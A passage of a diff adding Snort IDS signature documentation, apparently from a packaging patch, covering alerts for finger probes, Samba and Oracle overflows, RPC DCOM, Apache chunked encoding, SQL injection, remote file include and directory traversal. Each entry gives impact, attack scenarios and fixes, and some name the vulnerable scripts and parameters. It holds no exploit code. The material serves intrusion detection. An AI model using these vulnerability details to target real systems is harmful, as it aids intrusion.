+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.8.5.2.orig/doc/signatures/331.txt
+++ snort-2.8.5.2/doc/signatures/331.txt
@@ -0,0 +1,65 @@
+Rule: 
+reference:arachnids,132; reference:cve,CVE-1999-0612;
+classtype:attempted-recon; sid:331; rev:6;)
+
+--
+Sid: 331
+
+-- 
+
+Summary:
+This is an intelligence gathering activity. This event is indicative of an information leak attempt against a finger daemon performed by a vulnerability scanner
+
+-- 
+
+Impact:
+The attacker may obtain information about user accounts on the target system.
+
+--
+Detailed Information:
+This event is generated when an attempt to query the finger daemon is attempted by the Cybercop vulnerability scanner. 
+
+The Finger daemon is used to provide information about users on a UNIX system. It used to be installed and enabled by default on most UNIX/Linux systems. The scan will confirm that the target host will respond to finger queries.
+
+--
+
+Attack Scenarios: 
+An attacker uses the Cybercop vulnerability scanner to test for this weakness.
+
+-- 
+
+Ease of Attack: 
+Simple, performed by a scanner
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via a firewall or TCP wrappers.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS132
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0612
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2209.txt
+++ snort-2.8.5.2/doc/signatures/2209.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2209
+
+--
+Summary:
+This event is generated when an attempt is made to access getdoc.cgi on an internal web server. This may indicate an attempt to exploit an authorization bypass vulnerability on Infonautics document subscription sites.
+
+--
+Impact:
+A malicious user may be able to access restricted documents without paying for them.
+
+--
+Detailed Information:
+Infonautics provides online access to research materials, and uses getdoc.cgi to manage the document purchase and view process. A malicious user could alter the content of getdoc.cgi links in order to bypass the payment page, thereby freely viewing documents that they would normally pay money to access.
+
+--
+Affected Systems:
+Infonautics web sites that use getdoc.cgi to manage document access.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to an Infonautics site, and obtains documents that he/she would normally have to pay for.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+If a legitimate user accesses getdoc.cgi on an internal web server, this rule may generate an event.
+ 
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if a fix has been made available.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2283.txt
+++ snort-2.8.5.2/doc/signatures/2283.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2283
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3033.txt
+++ snort-2.8.5.2/doc/signatures/3033.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3033
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2822.txt
+++ snort-2.8.5.2/doc/signatures/2822.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2822
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure publish_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2411.txt
+++ snort-2.8.5.2/doc/signatures/2411.txt
@@ -0,0 +1,66 @@
+Rule:  
+
+--
+Sid:
+2411
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in RealNetworks Helix Media Server.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Versions of RealNetworks Helix Media Server and RealSystem Server are
+vulnerable to a buffer overflow condition that may present the attacker
+with the opportunity to execute code of their choosing on the target
+system.
+
+This may then present the attacker with the opportunity to gain a remote
+root shell, thus compromising the system.
+
+--
+Affected Systems:
+	 Helix Universal Server 9.01, versions 9.0.2.794 and earlier
+	  RealSystem Server 8.0 & 7.0
+
+--
+Attack Scenarios:
+The attacker may probe for the existence of an affected server and then
+use one of the publicly available scripts to exploit the service.
+
+--
+Ease of Attack:
+Simple. Exploits exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+RealNetworks
+http://www.service.real.com/help/faq/security/rootexploit091103.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3032.txt
+++ snort-2.8.5.2/doc/signatures/3032.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3032
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/861.txt
+++ snort-2.8.5.2/doc/signatures/861.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+861
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1307.txt
+++ snort-2.8.5.2/doc/signatures/1307.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1307
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3288.txt
+++ snort-2.8.5.2/doc/signatures/3288.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3288
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1808.txt
+++ snort-2.8.5.2/doc/signatures/1808.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1808
+
+--
+Summary:
+An attacker is using exploit code for the Apache chunked encoding 
+vulnerability against your web server.
+
+--
+Impact:
+If successful, this exploit can allow attackers to cause code of their 
+choice to run on your server or cause
+a denial of service.
+
+--
+Detailed Information:
+Older versions of the Apache HTTP server suffered from a bug in the 
+routines that handled chunked encoding.
+This exploit takes advantage of this vulnerability.
+
+--
+Affected Systems:
+Version of Apache 1.3 up to and including 1.3.24 and versions of Apache 
+2.0 up to 2.0.36. All versions of Apache 1.2 are vulnerable.   Although 
+this vulnerability is present in all ports of Apache, the exploit code 
+detected by this signature appears to only work against systems running 
+BSD.
+
+--
+Attack Scenarios:
+An attacker can take advantage of a widely available exploit script to compromise the server.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This signature detects specific exploit code that targets systems 
+running BSD. It is certainly possible for this vulnerability to be 
+exploited in ways other than those detected by this signature.
+
+--
+Corrective Action:
+Ensure that you are running a version of Apache newer than those listed 
+in the "affected systems" section.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Apache http server project
+http://httpd.apache.org/info/security_bulletin_20020620.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2470.txt
+++ snort-2.8.5.2/doc/signatures/2470.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2470
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2498.txt
+++ snort-2.8.5.2/doc/signatures/2498.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2498
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/328.txt
+++ snort-2.8.5.2/doc/signatures/328.txt
@@ -0,0 +1,62 @@
+Rule:   
+
+--
+Sid: 328
+
+-- 
+
+Summary: 
+This event is generated when a Denial-of-Service (DoS) attack against a finger daemon is attempted.
+
+-- 
+
+Impact: 
+The attacker may overload the target machine or crash the finger daemon
+
+--
+Detailed Information:
+This event is generated when a specially crafted finger query is directed at a target UNIX host. 
+
+The Finger daemon is used to provide information about users on a UNIX system. It used to be installed and enabled by default on most UNIX/Linux systems. The attack will crash or overload the vulnerable machines.
+
+--
+
+Attack Scenarios: 
+The attacker needs to send specially crafted packets to the finger daemon on a host.
+
+-- 
+
+Ease of Attack: 
+Moderate, no exploit software is required, just a specially formatted finger query
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0106
+
+Arachnids:
+http://www.whitehats.com/info/IDS381
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000579.txt
+++ snort-2.8.5.2/doc/signatures/100000579.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000579
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_struc.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_struc.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/693.txt
+++ snort-2.8.5.2/doc/signatures/693.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000544.txt
+++ snort-2.8.5.2/doc/signatures/100000544.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000544
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Dating Agent" application running on a webserver. Access 
+to the file "search.php" with SQL commands being passed as the "relationship" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "relationship" parameter in the "search.php" script used 
+by the "Dating Agent" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Dating Agent
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1093.txt
+++ snort-2.8.5.2/doc/signatures/1093.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1093
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2496.txt
+++ snort-2.8.5.2/doc/signatures/2496.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2496
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft RPC service.
+
+--
+Impact:
+Denial of Service (DoS). Possible execution of arbitrary code leading to
+unauthorized remote access to the victim host.
+
+--
+Detailed Information:
+It may be possible for an attacker to cause a DoS condition in the
+Microsoft RPC service when multiple simultaneous requests are made to a
+vulnerable host. This can lead to an exhaustion of system resources
+causing the DoS.
+
+--
+Affected Systems:
+	Windows systems running RPC services
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the RPC service many times in an
+attempt to cause the DoS condition to occur.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000355.txt
+++ snort-2.8.5.2/doc/signatures/100000355.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000355
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "eSyndiCat" application running on a webserver. Access to the file "cron.php" using a remote file being passed as the "path_to_config" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path_to_config" parameter in the "cron.php" script used by the "eSyndiCat" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using eSyndiCat
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3092.txt
+++ snort-2.8.5.2/doc/signatures/3092.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3092
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
